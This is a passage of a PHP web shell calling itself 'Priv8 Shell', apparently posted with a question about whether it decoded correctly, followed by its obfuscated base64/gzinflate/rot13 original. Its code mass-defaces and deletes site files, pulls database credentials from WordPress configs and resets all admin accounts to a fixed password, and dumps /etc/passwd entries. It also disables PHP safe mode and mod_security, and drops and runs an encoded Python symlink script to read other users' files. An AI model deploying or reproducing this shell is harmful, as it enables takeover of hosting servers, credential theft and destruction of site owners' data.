echo "<center><form action=\"\" method=\"post\"> ";
function edit_file($file, $index) {
    if (is_writable($file)) {
        clear_fill($file, $index);
        echo "<Span style=\'color:green;\'><strong> [+] Done 100% Successfull </strong></span><br></center>";
    } else {
        echo "<Span style=\'color:red;\'><strong> [-] Failed :( </strong></span><br></center>";
    }
}
function hapus_Massal($dir, $namafile) {
    if (is_writable($dir)) {
        $dira = scandir($dir);
        foreach ($dira as $dirb) {
            $dirc = "$dir/$dirb";
            $lokasi = $dirc . \'/\' . $namafile;
            if ($dirb === \'.\') {
                if (file_exists("$dir/$namafile")) {
                    unlink("$dir/$namafile");
                }
            } elseif ($dirb === \'..\') {
                if (file_exists("" . dirname($dir) . "/$namafile")) {
                    unlink("" . dirname($dir) . "/$namafile");
                }
            } else {
                if (is_dir($dirc)) {
                    if (is_writable($dirc)) {
                        if (file_exists($lokasi)) {
                            echo "[<font color=red>DELETED</font>] $lokasi<br>";
                            unlink($lokasi);
                            $idx = hapus_Massal($dirc, $namafile);
                        }
                    }
                }
            }
        }
    }
}
function clear_fill($file, $index) {
    if (file_exists($file)) {
        $handle = fopen($file, \'w\');
        fwrite($handle, \'\');
        fwrite($handle, $index);
        fclose($handle);
    }
}
function gass() {
    global $dirr, $index;
    chdir($dirr);
    $me = str_replace(dirname(__FILE__) . \'/\', \'\', __FILE__);
    $files = scandir($dirr);
    $notallow = array(".htaccess", "www", "Web.Config", "UMD.php", "Web.config", "web.config", "web.Config", "..", ".");
    sort($files);
    $n = 0;
    foreach ($files as $file) {
        if ($file != $me && is_dir($file) != 1 && !in_array($file, $notallow)) {
            echo "<center><Span style=\'color: #8A8A8A;\'><strong>$dirr/</span>$file</strong> ====> ";
            edit_file($file, $index);
            flush();
            $n = $n + 1;
        }
    }
    echo "<br>";
    echo "<center><br><h3>$n Files Defaced </h3></center><br> ";
}
function ListFiles($dirrall) {
    if ($dh = opendir($dirrall)) {
        $files = Array();
        $inner_files = Array();
        $me = str_replace(dirname(__FILE__) . \'/\', \'\', __FILE__);
        $notallow = array($me, ".htaccess", "www", "Web.Config", "UMD.php", "Web.config", "web.config", "web.Config");
        while ($file = readdir($dh)) {
            if ($file != "." && $file != ".." && $file[0] != \'.\' && !in_array($file, $notallow)) {
                if (is_dir($dirrall . "/" . $file)) {
                    $inner_files = ListFiles($dirrall . "/" . $file);
                    if (is_array($inner_files)) $files = array_merge($files, $inner_files);
                } else {
                    array_push($files, $dirrall . "/" . $file);
                }
            }
        }
        closedir($dh);
        return $files;
    }
}
function gass_all() {
    global $index;
    $dirrall = $_POST[\'d_dir\'];
    foreach (ListFiles($dirrall) as $key => $file) {
        $file = str_replace(\'//\', "/", $file);
        echo "<center><strong>$file</strong> ===>";
        edit_file($file, $index);
        flush();
    }
    $key = $key + 1;
    echo "<center><br><h3>$key Files Defaced </h3></center><br>";
}
function sabun_Massal($dir, $namafile, $isi_script) {
    if (is_writable($dir)) {
        $dira = scandir($dir);
        foreach ($dira as $dirb) {
            $dirc = "$dir/$dirb";
            $lokasi = $dirc . \'/\' . $namafile;
            if ($dirb === \'.\') {
                file_put_contents($lokasi, $isi_script);
            } elseif ($dirb === \'..\') {
                file_put_contents($lokasi, $isi_script);
            } else {
                if (is_dir($dirc)) {
                    if (is_writable($dirc)) {
                        echo "<font color=red>[ DONE ] </font><font color=white> $lokasi</font><br>";
                        file_put_contents($lokasi, $isi_script);
                        $idx = sabun_Massal($dirc, $namafile, $isi_script);
                    }
                }
            }
        }
    }
}
if ($_POST[\'Mass\'] == \'onedir\') {
    echo "<br> Versi Text Area<br><textarea style=\'background:black;outline:none;color:red;\' name=\'index\' rows=\'10\' cols=\'67\'>
";
    $ini = "http://";
    $mainpath = $_POST[d_dir];
    $file = $_POST[d_file];
    $dir = opendir("$mainpath");
    $code = base64_encode($_POST[script]);
    $indx = base64_decode($code);
    while ($row = readdir($dir)) {
        $start = @fopen("$row/$file", "w+");
        $finish = @fwrite($start, $indx);
        if ($finish) {
            echo "$ini$row/$file
";
        }
    }
    echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>
";
    $mainpath = $_POST[d_dir];
    $file = $_POST[d_file];
    $dir = opendir("$mainpath");
    $code = base64_encode($_POST[script]);
    $indx = base64_decode($code);
    while ($row = readdir($dir)) {
        $start = @fopen("$row/$file", "w+");
        $finish = @fwrite($start, $indx);
        if ($finish) {
            echo \'<a href="http://\' . $row . \'/\' . $file . \'" target="_blank">http://\' . $row . \'/\' . $file . \'</a><br>\';
        }
    }
} elseif ($_POST[\'Mass\'] == \'sabunkabeh\') {
    gass();
} elseif ($_POST[\'Mass\'] == \'hapusMassal\') {
    hapus_Massal($_POST[\'d_dir\'], $_POST[\'d_file\']);
} elseif ($_POST[\'Mass\'] == \'sabunmematikan\') {
    gass_all();
} elseif ($_POST[\'Mass\'] == \'Massdeface\') {
    echo "<div style=\'margin: 5px auto; padding: 5px\'>";
    sabun_Massal($_POST[\'d_dir\'], $_POST[\'d_file\'], $_POST[\'script\']);
    echo "</div>";
} else {
    echo "<center>		<font face=\'Open Sans\' color=\'red\' size=\'3\' >Select Type:<br></font><select class=\"select\" name=\"Mass\"  style=\"width: 450px; background-color:#000000; color:#ffffff\" height=\"10\" ><option value=\"onedir\">Mass Deface 1 Dir</option>	<option value=\"Massdeface\">Mass Deface ALL Dir</option><option value=\"sabunkabeh\">Current Dir All Files</option>	<option value=\"sabunmematikan\">Replace Everything With Deface</option><option value=\"hapusMassal\">Mass Delete Files</option></center></select><br><font face=\'Open Sans\' color=\'red\' size=\'3\' >Folder:</font><br>	<input name=\'d_dir\' value=\'" . getcwd() . "\' required=\'\' type=\'text\' style=\'width: 450px; background-color:#000000; color:#ffffff\' height=\'10\'><br><font face=\'Open Sans\' color=\'red\' size=\'3\' >Filename:</font><br><input type=\'text\' name=\'d_file\' value=\'index.html\' style=\'width: 450px; background-color:#000000; color:#ffffff\' height=\'10\'><br><font face=\'Open Sans\' color=\'red\'  size=\'3\' >Index File:</font><br>
	
	<textarea name=\'script\' style=\'width: 450px; height: 200px; background-color:#000000; color:#ffffff \'>    </textarea><br>
	
	<input type=\'submit\' name=\'start\' value=\'Mass Deface\' style=\'width: 200px;\'></form></center></div>";
}
    die;
}

if (isset($_REQUEST[\'user\'])) {
echo"<html><head><title>Priv8 Shell Wp Mass User Changer</title></head>
<style>
@import \'https://fonts.googleapis.com/css?family=Open+Sans\';

h1{
	color:#16a085;
	text-shadow:0 0 5px;
	font-family: Open Sans;
}
#gter{
	position: absolute;
	top: 0;
	width: 100%;
	text-align: center;
	background: black;
	color:#fff;
	padding-top: 10px;
	padding-bottom: 10px;
	font-family: Open Sans;
	margin-bottom:20px;
}
#gter span{
	color:white;
	font-size: 18px;
	text-shadow: :0px 0px 15px #00ffff;
}
.f{
	color:white;
	font-family: Open Sans;
	text-shadow: 0 0 15px #00ffff;
	font-size: 21px;
}
a{
	font-family: Open Sans;
	text-decoration: none;
	color:white;
	text-shadow:0 0 15px #ff1111;
}
form{
	margin-top: 10px;
}
input[type=submit]{
	font-size:13px;
	height: 25px;
	width: 150px;
	border: 2px solid red;
	color: white;
	background-color: black;
	font-family: Open Sans;
}
input[type=submit]:hover{
	box-shadow: 0 0 2px #ff1111;
}
input[type=text]{
	font-family:Open Sans;
	width: 400px;
	height: 25px;
	color: red;
	background: #000000;
	border: 1px solid #ff1111;
	padding: 5px;
	text-align: center;
	font-size:15px;
}	
input[type=text]:focus{
	box-shadow: 0 0 3px #ff1111;
}
.heading{
	color:white;
	font-size:25px;
	margin-top: 20px;
	margin-bottom: -110px;
	font-family:Open Sans;
	text-shadow:0px 0px 20px red;	
}
</style>
</head>
<center>

<form method=\'post\'>
<input type=\'text\' name=\'config\' placeholder=\'Config URL Here\'>
<br><br>
<input type=\'submit\' name=\'ch\' value=\'Change Admin\'>
</form>
</center>";

set_time_limit(0);
error_reporting(0);
if ($_POST[\'ch\']) {
    $get2 = file_get_contents($_POST[\'config\']);
    preg_match_all(\'#<a href="(.*?)"#\', $get2, $config);
    foreach ($config[1] as $don) {
        $get = file_get_contents($_POST[\'config\'] . "/" . $don);
        preg_match_all("#\'DB_HOST\', \'(.*?)\'#", $get, $host);
        foreach ($host[1] as $don) {
            $host = $don;
        }
        preg_match_all("#\'DB_PASSWORD\', \'(.*?)\'#", $get, $pass);
        foreach ($pass[1] as $done) {
            $password = $done;
        }
        preg_match_all("#\'DB_USER\', \'(.*?)\'#", $get, $user);
        foreach ($user[1] as $done1) {
            $user = $done1;
        }
        preg_match_all("#\'DB_NAME\', \'(.*?)\'#", $get, $name);
        foreach ($name[1] as $done2) {
            $name = $done2;
        }
        preg_match_all("#$table_prefix  = \'(.*?)\'#", $get, $prefix);
        foreach ($prefix[1] as $done3) {
            $prefix = $done3;
        }
        $connect = mysqli_connect($host, $user, $password, $name);
        if ($connect) {
            $query1 = mysqli_query($connect, "select * from " . $prefix . "options where option_name=\'siteurl\'");
            while ($siteurl = mysqli_fetch_array($query1)) {
                $site_url = $siteurl[\'option_value\'];
            }
            $query2 = mysqli_query($connect, "update " . $prefix . "users set user_login=\'admin\',user_pass=\'a09ac1f98189b89fd578b4fca7bf8bb2\'");
            if ($query2) {
                echo "<center><span class=f>URL : <a href=\'$site_url/wp-login.php\' target=\'_blank\'>$site_url/wp-login.php</a><br><br>UserName : admin<br><br>Password : Priv8shell<br><br></span></center>";
            }
        }
    }
}
 echo"</body></html>";
	
    die;
}

if (isset($_REQUEST[\'reseller\'])) {
echo"<html>  <body style=\'text-align: center\'> <center> <table border=\'1\' width=\'50%\' cellspacing=\'0\' cellpadding=\'15\' style=\'border-width: 0px\'> 		<tr> 			<td background=\'http://buyshellsites.com/bg.gif\' style=\'border-style: none; border-width: medium\'> <div align=\'center\'>     <table border=\'1\' width=\'100%\' bgcolor=\'#000000\' cellpadding=\'0\' style=\'border-collapse: collapse\' bordercolor=\'#333333\'> 	<tr> 		 		<td width=\'100\' align=\'center\'> 		<font face=\'Courier New\' size=\'2\' color=\'#ff1111\'>Reseller</font></td> 		<td width=\'100\' align=\'center\'> 		<font face=\'Courier New\' size=\'2\' color=\'#ff1111\'>Accounts</font></td> 		<td width=\'100\' align=\'center\'> 		<font face=\'Courier New\' size=\'2\' color=\'#ff1111\'>Symlink</font></td> 		 	</tr> </table>   <BR>";



## grabs resellerss file
$lines = file("/etc/trueuserowners");


## split pure resellers\'s names
for ($i = 0; $i < count($lines); $i++) {
$values2 = split(\': \', $lines[$i]);
$resellers[$i] = $values2[\'1\'];
}

## remove duplicated resellerss and empty values
$resellers = array_unique($resellers);
$resellers = array_filter($resellers);

foreach($resellers as $reseller){
	$count = 0;
for ($i = 0; $i < count($lines); $i++) {
	
	if (strpos($lines[$i], ": $reseller") ) {
    $count = $count+1;
}
	
}

print \'<table border="1" width="100%" bgcolor="#333333" cellpadding="0"  style="border-collapse: collapse" bordercolor="#000000">
	<tr>
		
		<td width="100" align="center">
		<font face="Courier New" size="2" color="#ff1111">\'.$reseller.\'</font></td>
		<td width="100" align="center">
		<font face="Courier New" size="2" color="#ff1111">\'.$count.\'</font></td>
		<td width="100" align="center">
		<a href="./sym1/root/home/\'.$reseller.\'/public_html/" target="_blank"><font face="Courier New" size="2" color="#ff1111">Symlink</font></td>

	</tr>
</table>



<BR></center> </body>  </html>\';
}


    die;
}

if (isset($_REQUEST[\'passwd\'])) {
@ini_set(\'error_log\', NULL);
@ini_set(\'log_errors\', 0);
@ini_set(\'max_execution_time\', 0);
@ini_set(\'output_buffering\', 0);
@ini_set(\'display_errors\', 0);
 echo \'<center>\';
        echo "<textarea class=\'inputz\' cols=\'90\' rows=\'20\'>";
        for ($uid = 0;$uid < 60000;$uid++) {
            $ara = posix_getpwuid($uid);
            if (!empty($ara)) {
                while (list($key, $val) = each($ara)) {
                    print "$val:";
                }
                print "
";
            }
        }
        echo "</textarea><br><br>";
    
    die;
}
if (isset($_REQUEST[\'disabled\'])) {
echo "<html>

<head>
<meta http-equiv=\'pragma\' content=\'no-cache\'>
</head><body>";

$fp = fopen("php.ini","w+");
fwrite($fp,"safe_mode = Off
disable_functions  =    NONE
open_basedir = OFF ");
echo "<center><b><font color=\'white\' size=\'4\'>[SafeMode Done]</font></center>";
echo ("");

$fp2 = fopen(".htaccess","w+");
fwrite($fp2,"
<IfModule mod_security.c>
KillFilterEngine Off
KillFilterScanPOST Off
KillFilterCheckURLEncoding Off
KillFilterCheckUnicodeEncoding Off
</IfModule>
");


echo "<center><b> <font color=\'white\' size=\'4\'>[Mod_Security Done]</font></center>";
    die;
}
if (isset($_REQUEST[\'sym\'])) {
error_reporting(0);
$sym_dir = mkdir(\'priv_sympy\', 0755);
chdir(\'priv_sympy\');
$file_sym = "sym.py";
$sym_script = "Iy8qUHl0aG9uCgppbXBvcnQgdGltZQppbXBvcnQgb3MKaW1wb3J0IHN5cwppbXBvcnQgcmUKCm9zLnN5c3RlbSgiY29sb3IgQyIpCgpodGEgPSAiXG5GaWxlIDogLmh0YWNjZXNzIC8vIENyZWF0ZWQgU3VjY2Vzc2Z1bGx5IVxuIgpmID0gIkFsbCBQcm9jZXNzZXMgRG9uZSFcblN5bWxpbmsgQnlwYXNzZWQgU3VjY2Vzc2Z1bGx5IVxuIgpwcmludCAiXG4iCgpvcy5tYWtlZGlycygnc3ltJykKb3MuY2hkaXIoJ3N5bScpCgpzdXNyPVtdCnNpdGV4PVtdCm9zLnN5c3RlbSgibG4gLXMgLyBwcml2OC50eHQiKQoKaCA9ICJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3NcbkRpcmVjdG9yeUluZGV4IHByaXY4LnBodG1sXG5BZGRUeXBlIHR4dCAucGhwXG5BZGRIYW5kbGVyIHR4dCAucGhwIgptID0gb3BlbigiLmh0YWNjZXNzIiwidysiKQptLndyaXRlKGgpCm0uY2xvc2UoKQpwcmludCBodGEKCnNmID0gIjxodG1sPjx0aXRsZT5TeW1saW5rIFB5dGhvbjwvdGl0bGU+PGNlbnRlcj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTU+UHJpdjggU215bGluazxicj48L2ZvbnQ+PGJyPjxmb250IGNvbG9yPXdoaXRlIHNpemU9Mz48dGFibGU+IgoKbyA9IG9wZW4oJy9ldGMvcGFzc3dkJywncicpCm89by5yZWFkKCkKbyA9IHJlLmZpbmRhbGwoJy9ob21lL1x3KycsbykKCmZvciB4dXNyIGluIG86Cgl4dXNyPXh1c3IucmVwbGFjZSgnL2hvbWUvJywnJykKCXN1c3IuYXBwZW5kKHh1c3IpCnByaW50ICItIiozMAp4c2l0ZSA9IG9zLmxpc3RkaXIoIi92YXIvbmFtZWQiKQoKZm9yIHh4c2l0ZSBpbiB4c2l0ZToKCXh4c2l0ZT14eHNpdGUucmVwbGFjZSgiLmRiIiwiIikKCXNpdGV4LmFwcGVuZCh4eHNpdGUpCnByaW50IGYKcGF0aD1vcy5nZXRjd2QoKQppZiAiL3B1YmxpY19odG1sLyIgaW4gcGF0aDoKCXBhdGg9Ii9wdWJsaWNfaHRtbC8iCmVsc2U6CglwYXRoID0gIi9odG1sLyIKY291bnRlcj0xCmlwcz1vcGVuKCJwcml2OC5waHRtbCIsInciKQppcHMud3JpdGUoc2YpCgpmb3IgZnVzciBpbiBzdXNyOgoJZm9yIGZzaXRlIGluIHNpdGV4OgoJCWZ1PWZ1c3JbMDo1XQoJCXM9ZnNpdGVbMDo1XQoJCWlmIGZ1PT1zOgoJCQlpcHMud3JpdGUoIjxib2R5IGJnY29sb3I9YmxhY2s+PHRyPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6d2hpdGU7PiVzPC90ZD48dGQgc3R5bGU9Zm9udC1mYW1pbHk6Y2FsaWJyaTtmb250LXdlaWdodDpib2xkO2NvbG9yOnJlZDs+JXM8L3RkPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7PjxhIGhyZWY9cHJpdjgudHh0L2hvbWUvJXMlcyB0YXJnZXQ9X2JsYW5rID4lczwvYT48L3RkPiIlKGNvdW50ZXIsZnVzcixmdXNyLHBhdGgsZnNpdGUpKQoJCQljb3VudGVyPWNvdW50ZXIrMQ==";
$sym = fopen($file_sym, "w");
fwrite($sym, base64_decode($sym_script));
chmod($file_sym, 0755);
$khoer = exec("python sym.py");
echo "<br><center><font color=\'white\'>Done ...</font> <a href=\'priv_sympy/sym/\' target=\'_blank\'><font color=\'red\'>Click Here</font> </a>";
    die;
}
// xd
if( empty($_POST[\'a\']) )
	if(isset($) && function_exists(\'action\' . $))
		$_POST[\'a\'] = $;
	else
		$_POST[\'a\'] = \'FilesMan\';
if( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )
	call_user_func(\'action\' . $_POST[\'a\']);
?>'

Did this file decode correctly?

Original Code

$st = "str_rot13"; $gz = "gzinflate"; $st2 = "str_rot13"; $bs = "base64_decode"; $hex = "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